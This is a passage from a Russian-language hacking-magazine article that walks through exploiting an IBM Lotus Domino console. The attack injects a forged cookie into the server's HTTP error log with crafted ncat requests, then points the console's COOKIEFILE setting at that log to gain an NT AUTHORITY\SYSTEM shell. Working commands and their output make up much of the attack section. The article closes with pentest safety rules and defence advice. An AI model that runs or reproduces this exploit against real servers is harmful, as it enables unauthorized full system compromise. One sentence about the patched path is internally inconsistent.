

блокировки SMB-трафика с атакуемого сервера? Серверу, который имеет выход в интернет, вполне можно подсунуть UNC (набор символов, который указывает расположение файла в файловой системе). Если выхода в интернет не имеется, то сервер не сможет добраться до файла из-за банального межсетевых экранов. Кроме того, IBM выпустила простой, но беспощадный патч: теперь к параметру cookiefile добавляется точка «.» в самом начале пути. Таким образом, если мы вводим что-то типа `\\evil\cookie\file`, то в результате сервер пойдет открывать файл, путь к которому имеет следующий вид: `\\evil\cookie\file`, так что об UNC здесь можно забыть. Кроме того, патч проводит аутентификацию клиента с помощью SSL-сертификата, поэтому доступ к консоли без него получить не выйдет. Но давайте забудем про сертификат и решим первую проблему. В этом нам помогут сами программисты IBM! Из листинга, в котором осуществляется парсинг cookiefile, видно, что кодеры хотели использовать что-то типа XML-файла и XML-парсера. Но на самом деле код не парсит XML, а просто ищет подстроку в строке! Обрати внимание, что, по мнению программистов IBM, XML-файл вида:

```
<?xml version="1.0" encoding="UTF-8"?>
<user name="admin" cookie="dsecrg" address="dsecrg">
```

аналогичен вот этому неопределенности:

```
Bla-bla-bla<user name="admin"xxxcookie="dsecrg"Xaddress="
dsecrg"NYA>
```

Эта «особенность» позволяет нам инжектировать файл куки в локальные файлы сервера для последующего использования этого файла в процессе описанной выше фальшивой аутентификации. Примерный сценарий атаки в данном случае может выглядеть так:

1. Инжектируем cookievalues с помощью сервиса Microsoft HTTPAPI service (здесь и далее `\r\n` — это просто Enter):

```
ncat targethost 49152
GET /<user HTTP/1.0\r\n
\r\n

ncat targethost 49152
GET /user="admin"cookie="pass"address="http://site.com"
HTTP/1.0\r\n
\r\n
```

2. Теперь лог-файл на сервере будет выглядеть примерно так:

```
#Software: Microsoft HTTP API 2.0
#Version: 1.0
#Date: 2011-08-22 09:19:16
...
2011-08-26 11:53:30 10.10.10.101 52902 10.10.9.9
47001 HTTP/1.0 GET <user 404 - NotFound -
2011-08-26 11:53:30 10.10.10.101 52905 10.10.9.9
47001 HTTP/1.0 GET name="admin"cookie="pass"address="
http://site.com"> 404 - NotFound -
...
```

Два запроса сделано не случайно: парсер от IBM будет искать строку `<<user` с пробелом в конце, а все пробелы в запросе кодируются как `<%20` (что нам не подходит). Таким образом, мы делаем первый запрос так, чтобы пробел после `<<user` поставил сам веб-сервер (между запросом и результатом мы увидим 404 NotFound). Во втором запросе дописываем все остальное.

3. Теперь, после получения валидного файла куки путем инжектирования в логи веб-сервера, эксплоитим все это дело:

```
ncat --ssl targetlotus_host 2050
#API
```

ПРАВИЛА ВЫЖИВАНИЯ ПРИ ПЕНТЕСТЕ

1. Никогда не запускай ничего низкоуровневого, если ты его досконально не знаешь. Например, если ты не знаешь, как работает ARP-POISONING, не стоит злоупотреблять им на проверяемом объекте (конечно, иногда так хочется нажать красивую кнопку в Cain, но DoS на заводе или в банке — несоразмерная плата за перехваченный пароль от почтового ящика какого-нибудь офис-менеджера на mail.ru).
2. Никогда не запускай эксплоит, в котором ты не уверен. Эксплоит — это не то ПО, которое делает хакера хакером (или пентестера пентестером). Ведь если этот эксплоит связан, например, с ошибками при работе с памятью, то нужно быть уверенным не только в правильности версии уязвимого ПО, но и в правильности версии ОС, а иногда даже в том, что уязвимое ПО имеет соответствующее окружение (например, для использования некоторых эксплоитов необходимо установить Java 6 для ROP-программы или отключить ASLR).
3. Спрашивай разрешения у IT-специалистов твоего клиента, если хочешь произвести какие-либо действия, которые потенциально могут вызвать отказ в обслуживании.
4. У пентестера никогда не бывает лишнего времени. Запомни это. Не стоит ковыряться в одном сервисе двое суток только для того, чтобы написать офигенный эксплоит и проверить его на стабильность на копии тестируемой системы. Это, конечно, круто, но в итоге ты проэксплуатируешь только один баг, а времени на 99 других у тебя просто не останется. Нужно уметь выбирать приоритеты в условиях ограниченного времени и при отсутствии ресурсов.

```
#APPLET
#COOKIEFILE ...\.windows\system32\logfiles\httperr\
httperr1.log
#USERADDRESS http://twitter/asintsov
#UI admin,pass
#EXIT
```

```
$whoami
...
NT AUTHORITY\SYSTEM
...
```

В результате мы вполне можем получить профит и без UNC, так как лог-файл может быть любым.

ЗАЩИТА

Стоит сказать несколько слов и о защите от разработанного нами способа атаки. Во-первых, атакуемый сервис используется строго для узких административных целей, поэтому он не должен быть доступен пользователям локальной сети, а также виден из интернета. Во-вторых, ни в коем случае не забывай про патчи и обновления. В-третьих, постарайся не забыть про сервисный пароль, который устанавливается один-единственный раз через ту же самую консоль (даже если сервер захватят, различные опасные команды вроде LOAD и TELL будут защищены). И последнее — время от времени проводи аудит файла `admindata.xml`. Здесь перечислены все пользователи контроллера с паролями в MD5. Кроме того, тут же прописаны их привилегии в виде десятичных значений. Значения 4, 25 и 26 говорят о том, что у этого пользователя есть привилегии на исполнение системных команд. Следи за тем, чтобы у незнакомых юзеров не было лишних полномочий, и да пребудет с тобой Сила! 